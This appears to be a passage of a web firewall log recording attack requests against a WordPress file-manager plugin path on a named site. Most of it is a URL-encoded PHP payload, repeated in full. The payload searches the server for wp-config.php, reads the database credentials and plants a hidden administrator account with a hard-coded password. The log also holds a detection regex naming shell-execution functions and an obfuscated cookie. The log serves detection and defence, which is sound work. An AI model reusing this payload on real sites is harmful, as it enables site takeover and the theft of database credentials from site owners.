28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 11:42:07","167.71.226.156","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zO:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php HTTP\/1.1\nsec-fetch-user:?1\ncookie:4=8daaffd16fd7c7835307f0d6af9d1696; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrx8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:12640\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua-platform:\"Windows\"\n\nzO=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3